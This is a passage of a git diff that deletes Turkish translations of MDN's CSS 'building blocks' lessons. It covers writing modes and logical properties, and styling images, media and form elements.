öğelerin blok ve bazılarının da satır içi öğeler olarak götüntülendiğini tartıştık. Yukarıda açıkladığımız yazma modunda ki blok ve satır içi yönler fiziksel ekrana değil, belgeye bağlıdır bağlıdır. Türkçe gibi metni yatay olarak görüntüleyen bir yazma modu kullanıyosan, bloklar sayfanın üstünden altına doğru görüntülenir.</p> - -<p>Bir örneğe bakarsak, bu daha da netleşecektir. Bu örneğimizde, bir başlık ve bir paragraf içeren iki kutum var. İlki <code>writing-mode: horizontal-tb</code>, sayfanın üstünden altına doğru yatay eksende hareket eden bir yazma modu kullanır. İkincisi <code>writing-mode: vertical-rl</code>; sayfanın sağından sola doğru dikey eksende hareket eden bir yazma modudur.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}</p> - -<p>Yazma modunu değiştirdiğimizde, aslın hangi yönün blok ve hangisinin de satır içi olduğunu belirliyoruz. Bir <code>horizontal-tb</code> yazma modunda blok yönü yukarıdan aşağıya doğru ilerler; bir <code>vertical-rl</code> yazma modunda blok yönü yatay olarak sağdan sola ilerler. Daha iyi açıklamak istersek; <strong>block dimension:</strong> yazım modunda bloğu paragraf gibi düşünebiliriz. blok yönü paragrafların sayfada dizileceği yönü belirler. Yukarıdan aşağıya, soldan sağa veya sağdan sola. <strong>inline dimension: </strong>Satır içi ise paragrafların içerisindeki satırlar(dizeler) olarak düşünebiliriz, satır içi cümlenin satır içerisindeki akış yönünü belirler.</p> - -<p>Bu şekil, yatay yazma modundayken iki boyutu göstermektedir.</p> - -<p>,<img alt="Showing the block and inline axis for a horizontal writing mode." src="https://mdn.mozillademos.org/files/16574/horizontal-tb.png"></p> - -<p>Bu şekil, dikey yazma modundaki iki boyutu göstermektedir.</p> - -<p><img alt="Showing the block and inline axis for a vertical writing mode." src="https://mdn.mozillademos.org/files/16575/vertical.png" style="height: 472px; width: 406px;"></p> - -<p>CSS mizanpajına ve özellikle yeni mizanpaj yöntemlerine geliştirmeye başladığında, bu blok ve satır içi fikri çok önemli hale gelir. Tekrardan bu konuya değineceğiz.</p> - -<h3 id="Yön">Yön</h3> - -<p><span>Yazma moduna ek olarak metin yönümüz de var. Yukarıda belirtildiği gibi, Arapça gibi bazı diller yatay olarak ancak sağdan sola yazılır. Bu, kreatif anlamda kullanacağın bir uygulama değildir </span>— bir metni sağ taraftan başlatmak istiyoran, bunu yapmanın başka yolları da vardır — ancak bunu CSS'in doğasının bir parçası olarak anlamak önemlidir. Web sadece soldan sağa gösterilen diller için değildir.</p> - -<p>Yazma modu ve metnin yönünün değişebilmesi nedeniyle, yeni CSS mizanpaj yöntemleri sola ve sağa, yukarı ve sağıya atıfta bulunmaz. Bunun yerine, bu satır içi ve bu blok ayrımıyla birlikte <em>başlangıç</em> ve <em>bitiş</em> tanımlarıyla bu işi çözer. Şu anda bunun için fazla endişelenmeyin, ancak düzene bakmaya başlarken bu fikirleri aklında blundurun; bunu CSS anlayışında gerçekten yararlı bulacaksın.</p> - -<h2 id="Mantıksal_özellikler_ve_değerler">Mantıksal özellikler ve değerler</h2> - -<p>Öğreniminin bu noktasında yazma modları ve yönü hakkında konuşmamın nedeni, ekranın fiziksel boyutlarına bağlı bir çok özelliğe zaten bakmış olmamız ve konu hakkında fikir sahibi olmandır.</p> - -<p>İki kutumuza tekrar bir göz atalım — biri <code>horizontal-tb</code> ve diğeride <code>vertical-rl</code> değerlerine sahip. Bu iki kutuya da bir {{cssxref("width")}} değeri verdim. Gördüğün gibi kutu dikey yazma modundayken bir genişliğe sahiptir ve bu metnin taşmasına neden olmuştur.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}</p> - -<p>Aslında burada olmasını istediğimiz şey, yazma moduyla birlikte yükseği de, genişliği de değiştirmek. Dikey yazma modundayken, yatay modda olduğu gibi kutunun blok boyutunun da genişlemesini istiyoruz.</p> - -<p>Bunu kolaylaştırmak için, CSS yakın zamanda bir dizi eşlenmiş özellik geliştirdi. Bunlar esasen fiziksel özellikleri — <code>width</code> ve <code>height</code> gibi — <strong>mantıksal</strong> veya <strong> akışla ilgili</strong> sürümlerle değiştirir.</p> - -<p>Yatay yazma modundayken çağırılan {{cssxref("inline-size")}} niteliği satır içi boyuttaki <code>width</code>'yi ifade eder. {{cssxref("block-size")}} niteliği ise blok boyuttaki <code>height</code> boyutunu ifade eder. Bunların nasıl çalıştığını aşağıdaki örnekte görebilirsin. <code>inline-size</code> ile <code>width</code>.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}</p> - -<h3 id="Mantıksal_kenar_boşluğu_kenarlık_ve_dolgu_nitelikleri">Mantıksal kenar boşluğu, kenarlık ve dolgu nitelikleri</h3> - -<p>Son iki derste CSS kutu modeli ve CSS kenarlıkları hakkında konuştuk. Kenar boşluğu, kenarlık ve dolgu niteliklerinde, fiziksel niteliklerin bir çok örneklerini bulacaksın {{cssxref("margin-top")}}, {{cssxref("padding-left")}}, ve {{cssxref("border-bottom")}}. Genişlik ve yükseklik için eşlemelerimiz olduğu gibi, bu nitelikler için de eşlemelerimiz var.</p> - -<p><code>margin-top</code> niteliğinin eşlemesi olan {{cssxref("margin-block-start")}}, her zaman kenar boşluğunun blok boyutunun başında olmasını sağlayacaktır.</p> - -<p>{{cssxref("padding-left")}} niteliğinin eşlemesi olan {{cssxref("padding-inline-start")}}, satır içi yönüne başlamadan uygulanacak olan dolguyu ayarlar. {{cssxref("border-bottom")}} niteliğinin eşlemsi olan {{cssxref("border-block-end")}} ise blok boyutunun sonunda bir sınır koymamızı sağlar.</p> - -<p>Aşağıda fiziksel ve mantıksal nitelikler arasında bir karşılaştırma görebilirsin.</p> - -<p><strong>Eğer <code>.box</code> sınıfı içerisindeki <code>writing-mode</code>'u </strong><strong><code>vertical-rl</code> olarak değiştirirsen, fiziksel boyut ile mantıksal niteliklerin yazma modu üzerindeki etkisini daha iyi anlayabilirsin.</strong></p> - -<p><strong>Ayrıca </strong><strong>{{htmlelement("h2")}} etiketinin <code>border-bottom</code> niteliğine sahip olduğunu görebilirsin. Her iki yazma modunda da alt kenarlığın her zaman metnin altında kalmasını nasıl sağalayacağını bulabilir misin?</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}</p> - -<p>Tek tek kenarlık uzuntanımları göz önünde bulundurduğunda çok sayıda nitelik vardır ve <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">Mantıksal Özellikler ve Değerler</a> için MDN sayfasında eşlenen tüm nitelikleri görebilirsin.</p> - -<h3 id="Mantıksal_değerler">Mantıksal değerler</h3> - -<p>Şimdiye kadar mantıksal nitelik adlarına baktık. Fiziksel yönleri belirten bazı nitelik son ekleri vardır <code>top</code>, <code>right</code>, <code>bottom</code>, ve <code>left</code>. Bu yönleri belirten eklerin de eşleştirmeleri vardır — mantıksal son eklerine bakacak olursa, <code>block-start</code>, <code>inline-end</code>, <code>block-end</code>, ve <code>inline-start</code>.</p> - -<p>Örneğin, metnin resmin etrafına sarılmasına neden olmak için bir resmi sola kaydırmak isteyebilirsin. <code>left</code> değerinin yerini <code>inline-start</code> değerinin aldığını görebilirsin</p> - -<p><strong>Resim üzerinde nasıl bir etkisi olduğunu görebilmek için <code>horizontal-tb</code> değerini <code>vertical-rl</code> ile değiştirebilirsin. Ayrıca <span style='background-color: rgba(220, 220, 220, 0.5); font-family: consolas,"Liberation Mono",courier,monospace;'>float</span><span style="background-color: #ffffff;"> niteliğindeki </span><code>inline-start</code> değerini <code>inline-end</code> ile değiştirin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}</p> - -<p>Burada ayrıca, yazma modu ne olursa olsun kenar boşluklarının doğru yerde olmasını sağlamak için mantıksal kenar boşluk değerlerini kullanıyoruz.</p> - -<div class="blockIndicator note"> -<p>Şu anda, yalnız"ca Firefox için <code>float</code> akış kontrol değerleri desteklenmektedir. Eğer <strong>Google Chrome</strong> veya <strong>Microsoft Edge</strong> kullanıyorsan, metnin kaymadığını fark edebilirsin.</p> -</div> - -<h3 id="Fiziksel_veya_mantıksal_özellikleri_kullanmalı_mısın">Fiziksel veya mantıksal özellikleri kullanmalı mısın?</h3> - -<p>Mantıksal özellikler ve değerleri, fiziksel eşdeğerlerinden daha yenidir ve bu nedenle tarayıclarda yakın zamanda desteklenmiştir. Tarayıcı desteğinin ne kadar geriye gittiğini görmek için MDN'deki herhangi bir özellik sayfasını kontrol edebilirsin. Birden fazla yazma modu kullanmıyorsan, şimdilik fiziksel sürümleri kullanmayı tercih edebilirsin. Bununla birlikte, nihayetinde insanların çoğu için mantıksal versiyonlara geçiş yapmalarını bekliyorum, çünkü flexbox ve grid gibi düzen yöntemleriyle de uğraşmaya başladığında çok mantıklı geliyorlar.</p> - -<h2 id="Becerilerini_test_et!">Becerilerini test et!</h2> - -<p>Bu derste birçok konuyu ele aldık, ancak en önemli bilgileri hatırlıyor musun? Devam etmeden önce bu bilgileri öğrendiğini doğrulamak için bazı testler hazırladım. — bkz. <a href="/en-US/docs/Learn/CSS/Building_blocks/Writing_Modes_Tasks">Becerilerini test edin: yazma modları</a>.</p> - -<h2 id="Özet">Özet</h2> - -<p>Bu derste açıklanan kavramlar CSS'de giderek daha önemli hale geliyor. Blok ve satır içi yönün ve yazma modunda bir değişiklikle metnin akışını nasıl değiştiğinin anlaşılması, ileride çok faydalı olacaktır. Yatay mod dışında bir yazma modu kullanmasan bile CSS'i anlamana yardımcı olacaktır.</p> - -<p>Bir sonraki modülde, CSS'deki taşmayı derinlemesine ele alacağız.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> - <li>/ol></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/images_media_form_elements/index.html b/files/tr/learn/css/building_blocks/images_media_form_elements/index.html deleted file mode 100644 index eeb021ca8c..0000000000 --- a/files/tr/learn/css/building_blocks/images_media_form_elements/index.html +++ /dev/null @@ -1,212 +0,0 @@ ---- -title: Görseller, medya ve form öğeleri -slug: Learn/CSS/Building_blocks/Images_media_form_elements -tags: - - Acemi - - Beginner - - CSS - - Eğitim - - Forms - - Gorüntü - - Images - - Learn - - Media - - Medya - - değiştirilen içerik - - form - - replaced content -translation_of: Learn/CSS/Building_blocks/Images_media_form_elements -original_slug: Öğren/CSS/CSS_yapi_taslari/Images_media_form_elements ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</div> - -<p>Bu derste, CSS'de belirli özel öğelerin nasıl işlendiğine bir göz atacağız. Görseller, diğer ortamlar ve form öğeleri, CSS ile biçimlendirme de şimdiye kadar öğrendiğin kutu davranışlarından biraz farklı davranırlar. Neyin yapılıp neyin yapılamadığını anlamak bazı karmaşıklıklardan seni kurtarabilir. Burada dikkat etmemiz gereken bazı ana konulara değineceğiz.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Bazı öğelerin CSS ile stil verildiğinde alışılmadık davranışlar göstermesini anlamak</td> - </tr> - </tbody> -</table> - -<h2 id="Yenilenen_öğeler">Yenilenen öğeler</h2> - -<p>Görüntüler ve medyalar <strong><a href="/en-US/docs/Web/CSS/Replaced_element">yenilenen öğeler</a></strong> olarak tanımlanır. Bu, CSS'in bu öğeleri dahili düzenini etkileyemeceği anlamına gelir — yalnızca sayfadaki diğer öğelerle arasındaki konumlarına müdahale edebilir. Ancak göreceğimiz gibi, CSS'in bir görüntüye yapabileceği çeşitli şeyler de vardır.</p> - -<p>Görüntüler ve medyalar gibi bazı değiştirilebilen öğeler de bir <strong>en boy oranına</strong> sahip olarak var olurlar. Bu, hem yatay(x) hem de dikey(y) boyutlara sahip olduğu ve varsayılan olarak dosyanın iç boyutları kullanılarak görüntüleneceği anlamına gelir.</p> - -<h2 id="Görüntüleri_boyutlandırma">Görüntüleri boyutlandırma</h2> - -<p>Bu zamana kadar ki derslerden öğrendiğin gibi, CSS'deki her öğe bir kutudan oluşturulur. Her iki yönde de görüntü dosyasının iç boyutlarından daha küçük veya daha büyük bir kutunun içine bir görüntü yerleştirirsen, ya kutudan daha küçük görünür yada kutunun sınırları dışına taşar. Taşma ile ne yapılacağı konusunada bizim karar vermemiz gerekir.</p> - -<p>Aşağıdaki örnekte, her ikisi de 200 piksel boyutunda iki kutumuz var:</p> - -<ul> - <li>Biri 200 pikselden daha küçük bir görüntü içeriyor — kutudan daha küçük ve onu doldurmak için genişlemiyor.</li> - <li>Diğeri 200 pikselden büyüktür ve kutunun sınırları dışına taşmaktadır.</li> -</ul> - -<p>{{EmbedGHLiveSample("css-examples/learn/images/size.html", '100%', 1000)}}</p> - -<p>Öyleyse taşma konusu hakkında ne yapabiliriz?</p> - -<p><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Önceki dersimizde</a> öğrendiğimiz gibi, yaygın bir teknik olan {{cssxref("max-width")}} niteliğinin değerinine %100 değerini tanımlayabiliriz. Bu, görüntünün boyut olarak kutudan daha küçük olmasını ancak daha büyük olmamasını sağlayacaktır. Bu teknik, <code><a href="/en-US/docs/Web/HTML/Element/video"><video></a></code>lar ve <code><a href="/en-US/docs/Web/HTML/Element/iframe"><iframe></a></code>ler içinde geçerlidir.</p> - -<p><strong>Yukarıdaki örnekte bulunan <code><img></code> öğesine <code>max-width: 100%;</code> niteliğini tanımlayın. Daha küçük görüntünün değişmeden kaldığını, ancak daha büyük olanın kutuya sığabilmek için küçüldüğünü göreceksin.</strong></p> - -<p>Kutuların içindeki görüntülerle ilgili başka seçimler de yapabilirsin. Örneğin, bür görüntüyü bir kutuya tamamen kaplayacak şekilde boyutlandırmak isteyebilirsin.</p> - -<p>Bunu sağlamak için {{cssxref("object-fit")}} niteliği size yardımcı olacaktır. <code>object-fit</code> niteliği yenilenebilen öğelerde kullanıldığında, görselin kutuya sığabilmesi için çeşitli şekillerde bize yardımcı olur..</p> - -<p>Aşağıda <code>cover</code>, en boy oranını koruyarak, görüntüyü küçülten ve kutuyu düzgün bir şekilde dolduran değeri kullandık. En-boy oranı korunduğu için, görüntünün kutudan taşan kısımları kırpılacaktır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}</p> - -<p>Değer olarak <code>contain</code>'nu kullanırsak, görüntü kutunun içine tamamen sığabileceği kadar küçültülür. Görüntü, kutuyla aynı en-boy oranına sahip değilse "sinemaskop" şeklinde görüntülenecektir.</p> - -<p><code>fill</code> değeri ise, kutuyu tamamen dolduracak fakat görüntü, kutuyla aynı en-boy oranına sahip değilse görüntüyü büzüp gerecektir. Yukarıdaki örnekte kutunun birinde bu değeri kullanıp nasıl sonuçlandığını görebilirsin.</p> - -<h2 id="Düzende_yenilenebilen_öğeler">Düzende yenilenebilen öğeler</h2> - -<p>Yenilenebilen öğeler üzerinde çeşitli CSS mizanpaj tekniklerini kullanırken, diğer öğelere göre biraz farklı davrandıklarını fark edebilirsin. Örneğin, esnek veya ızgara düzeninde öğeler varsayılan olarak tüm alanı dolduracak şekilde boyutlandırılır. Görüntüler yeniden boyutlandırılmazlar, bunun yerine ızgara alanının veya esnek kabın başlangıcına hızalanırlar.</p> - -<p>Bunu aşağıdaki, içinde dört öğe bulunan iki sütun ve iki satırdan oluşan bir ızgara örneğinde görebilirsin. Tüm <code><div></code> öğelerinin bir arka plan rengi vardır, satır ve sütunu doldurmak için öğemiz boyutlandırılır. Ancak görüntünün boyutunda bir değişim olmaz.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}</p> - -<p>Bu dersleri sırayla takip ediyorsan, henüz düzene bakmamışsındır. Değiştirilen öğelerin bir ızgara veya esnek mizanpajın parçası olduklarında, dahil oldukları düzen tarafından garip bir şekilde uzatılmalarını önlemek için farklı varsayılan davranışlara sahip olduklarını unutmayın.</p> - -<p>Görüntüyü, içinde bulunduğu ızgara hücresini dolduracak şekilde uzatmaya zorlamak için aşağıdaki gibi bir tanımlama yapman gerekir:</p> - -<pre class="brush: css notranslate">img { - width: 100%; - height: 100%; -}</pre> - -<p>Ancak bu, görüntüyü uzatır ve bu olmasını istediğin bir görünüm değidir.</p> - -<h2 id="Form_öğeleri">Form öğeleri</h2> - -<p>Form öğeleri, CSS ile stil oluşturma söz konusu olduğunda zor bir konu olabilir ve <a href="/en-US/docs/Learn/Forms">Web Formları dersi</a>, burada yeniden anlatamayacağım kadar karmaşık yönlerine yönelik ayrıntılı kılavuzlar içerir. Makalenin bu bölümünde vurgulanmaya değer bir kaç temel var.</p> - -<p><code><a href="/en-US/docs/Web/HTML/Element/input"><input></a></code> etiketi aracılığıyla sayfana birçok form denetimi eklenir — bu, renk ve tarih seçiciler gibi HTML5'e eklenen daha karmaşık alanlara kadar ve metin girişleri gibi basit form alanlarını tanımlar. Ayrıca <code><a href="/en-US/docs/Web/HTML/Element/textarea"><textarea></a></code> gibi satırlı metin girişine izin veren ek unsurlar ve ek unsurlar için kullanılan form üzerindeki öğelerin gruplandırılması ve etiketlenmesini sağlayan ek tanımlar da vardır — <code><a href="/en-US/docs/Web/HTML/Element/fieldset"><fieldset></a></code> ve <code><a href="/en-US/docs/Web/HTML/Element/legend"><legend></a></code> gibi.</p> - -<p>HTML5 ayrıca web geliştiriclerinin hengi alanların gerekli olduğunu ve hatta girilmesi gereken içerik türünü belirtmesine olanak tanıyan nitelikler içerir. Kullanıcı beklenmedik bir şey girerse veya gerekli bir alanı boş bırakırsa, tarayıcı hata mesajı gösterebilir. Farklı tarayıcılar, bu tür öğeler için ne kadar stil ve özelleştirmeye izin verdikleri konusunda tutarsızdır.</p> - -<h3 id="Metin_giriş_öğelerini_şekillendirme">Metin giriş öğelerini şekillendirme</h3> - -<p>Metin girişine izin veren <code><input type="text"></code> gibi, belirli türlerin girişine izin veren <code><input type="email"></code> gibi ve birden fazla satıra sahip metin girişine izin veren <code><textarea></code> etiketi gibi öğelerin stillendirilmesi oldukça kolaydır ve sayfandaki diğer kutular gibi davranma eğilimindedirler. Bu öğelerin varsayılan stili kullanıcının, siteyi ziyaret ettiği işletim sistemi ve tarayıcıya bağlı olarak farklılıklar gösterecektir.</p> - -<p>Aşağıdaki örnekte, CSS kullanarak bazı metin girişlerine stil uyguladık. Kenarlık, kenar boşlukları ve dolgu gibi stillerin beklediğin gibi uygulandığını ve farklı girdi türlerini hedeflemek için nitelik seçicilerin kullanıldığını görebilirsin. Kenarlıkları, arka plan renklerini, yazı tiplerini ve dolguyu değiştirerek bu formun görünümünü değiştirmeyi denebilirsin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}</p> - -<div class="blockIndicator warning"> -<p><strong>Önemli</strong>: Form öğelerinin kullanıcı için görülebilir olması için form öğelerinin görümünü değiştirirken dikkatli olmalısın. Çevresindeki diğer nesnelerden neredeyse ayırt edilemeyen kenarlık ve arka planna sahip bir form girişi oluşturulabilir, ancak bu fark edilmesini ve bilgi girişi yapılmasını zorlaştırır.</p> -</div> - -<p>Bu kursun HTML bölümündeki <a href="/en-US/docs/Learn/Forms/Styling_web_forms">form stiliyle</a> ilgili derslerde açıklandığı gibi, daha karmaşık giriş türlerinin çoğu işletim sistemi tarafından oluşturulur ve şekillendirme için erişilemez. Bu nedenle her zaman formların farklı ziyaretçiler için oldukça farklı görüneceğini varsaymalı ve çeşitli tarayıcılarda karmaşık formları test etmelisin.</p> - -<h3 id="Kalıtım_ve_form_öğeleri">Kalıtım ve form öğeleri</h3> - -<p>Bazı tarayıcılar, form öğeleri varsayılan olarak yazı tipi stilini devralmaz. Bu nedenle, form alanlarının gövdede veya bir ana öğede tanımlanan yazı tipini kullandığından emin olmak istiyorsan, bu kuralı CSS'ine eklemelisin.</p> - -<pre class="brush: css notranslate"><code>button, -input, -select, -textarea { - font-family : inherit; - font-size : 100%; -} </code></pre> - -<h3 id="Form_öğeleri_ve_kutu_boyutlandırma">Form öğeleri ve kutu boyutlandırma</h3> - -<p>Tarayıcılar arasında form öğleri, farklı widget'ler için farklı kutu boyutlandırma kuralları kullanır. <a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli dersimizde</a> <code>box-sizing</code> niteliği hakkında bilgi edindin ve bu bilgiyi form öğelerinde genişlik ve yükseklileri ayarlarken tutarlı bir görünüm sağlamak için formları şekillendirirken kullanabilirsin.</p> - -<p>Tutarlılık için tüm öğelerde kenar boşlukları ve dolgu değerlerini <code>0</code> olarak ayarlamak ve ardından belirli kontrolleri şekillendirirken bunları tekrardan tanımlamak iyi bir fikirdir.</p> - -<pre class="brush: css notranslate"><code>button, -input, -select, -textarea { - box-sizing: border-box; - padding: 0; - margin: 0; -}</code></pre> - -<h3 id="Diğer_kullanışlı_ayarlar">Diğer kullanışlı ayarlar</h3> - -<p>Yukarıda belirtilen kurallara ek olarak, hiç gereği yokken <code><textarea></code> öğesinde bir kaydırma çubuğu gösteren IE'yi durdurmak için, <code>overflow: auto</code> tanımını yapın:</p> - -<pre class="brush: css notranslate">textarea { - overflow: auto; -}</pre> - -<h3 id="Hepsini_bir_araya_getirerek_sıfırlamak">Hepsini bir araya getirerek "sıfırlamak"</h3> - -<p>Son bir adım olarak, çalışmak ortamında tutarlı bir temel sağlamak için, yukarıda tartışılan çeşitli özellikleri aşağıdaki "form sıfırlama" ile tamamlayabiliriz. Bu, son üç bölümde bahsedilen tüm öğeleri içerir:</p> - -<pre class="brush: css notranslate"><code>button, -input, -select, -textarea { - font-family: inherit; - font-size: 100%; - box-sizing: border-box; - padding: 0; margin: 0; -} - -textarea { - overflow: auto; -} </code></pre> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Normalleştirme stil sayfaları, birçok geliştirici tarafından projelerinde bir dizi temel stil şablonu oluşturmak için kullanılır. Salt olarak bunlar, CSS üzerinde kendi stilini oluşturmadan önce, tarayıcılar arasında ki farklı varsayılan değerler için ve yukarıda bahsettiğimiz davranışlar için tutarlı bir varsayılana sahip olmanı sağlar. Tarayıcılar tipik olarak geçmişe göre daha tutarlı olduğundan, eskisi kadar önemli değiller. Bununla birlikte, bir örneğe göz atmak istersen, bir çok popüler stil sayfasından biri olan ve pekçok projede kullanılan <a href="http://necolas.github.io/normalize.css/">Normalize.css</a> bakabilirsin.</p> -</div> - -<p>Biçimlendirme formları hakkında daha fazla bilgi için, MDN'nin HTML bölümdeki iki derse göz atın.</p> - -<ul> - <li><a href="/en-US/docs/Learn/Forms/Styling_web_forms">Web formlarını şekillendirme</a></li> - <li><a href="/en-US/docs/Learn/Forms/Advanced_form_styling">Gelişmiş form stili</a></li> -</ul> - -<h2 id="Becerilerini_test_edin!">Becerilerini test edin!</h2> - -<p>Bu derste birçok konuyu ele aldık, ancak en önemli bilgileri hatırlıyor musun? Devam etmeden önce bu bilgileri öğrendiğini doğrulamak için bazı testler hazırladım. — bkz. <a href="/en-US/docs/Learn/CSS/Building_blocks/Images_tasks">Becerilerini test et: Görüntüler ve form öğeleri.</a></p> - -<h2 id="Özet">Özet</h2> - -<p>Bu ders, CSS'de görseller, medya ve diğer alışılmadık unsurlarla çalışırken karşılaşacağın bazı farklılıkları ele aldı. Sonraki makalede, HTML tablolarını biçimlendirmen gerektiğinde yararlı bulacağın birkaç ipucuna bakacağız.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/index.html b/files/tr/learn/css/building_blocks/index.html deleted file mode 100644 index a0c22927c6..0000000000 --- a/files/tr/learn/css/building_blocks/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: CSS yapı taşları -slug: Learn/CSS/Building_blocks -tags: - - Başlangıç - - Beginner - - CSS - - Learn - - building blocks - - kutu oluşturmak - - Öğrenme -translation_of: Learn/CSS/Building_blocks -original_slug: Öğren/CSS/CSS_yapi_taslari ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">Bu derste, <a href="/tr/docs/Learn/CSS/First_steps">CSS'in ilk adımlarının</a> kaldığı yerden devam ediyor. Artık dile ve sözdizimine aşinalık kazandın ve onu kullanma konusunda bazı temel deneyimler edindin, biraz daha derine dalma zamanı. Bu bölüm, art arda denetime ve mirasa, sahip olduğun tüm seçici türlerine, birimlere, boyutlandırmaya, arka planların ve kenarlıkların stilini belirleme, hata ayıklama ve çok daha fazlasına bakar.</p> - -<p class="summary">Buradaki amaç, sana yeterli CSS yazman için altyapı hazırlamak ve <a href="/tr/docs/Learn/CSS/Styling_text">metin şekillendirme</a> ve <a href="/tr/docs/Learn/CSS/CSS_layout">CSS düzeni</a> gibi daha karakteristik kurallara geçmeden önce tüm temel teorileri anlamana yardımcı olmak</p> - -<div class="callout"> -<h3 id="Bir_front-endarayüz_geliştiricisi_mi_olmak_istiyorsun">Bir front-end(arayüz) geliştiricisi mi olmak istiyorsun?</h3> - -<p><span>Hedefine 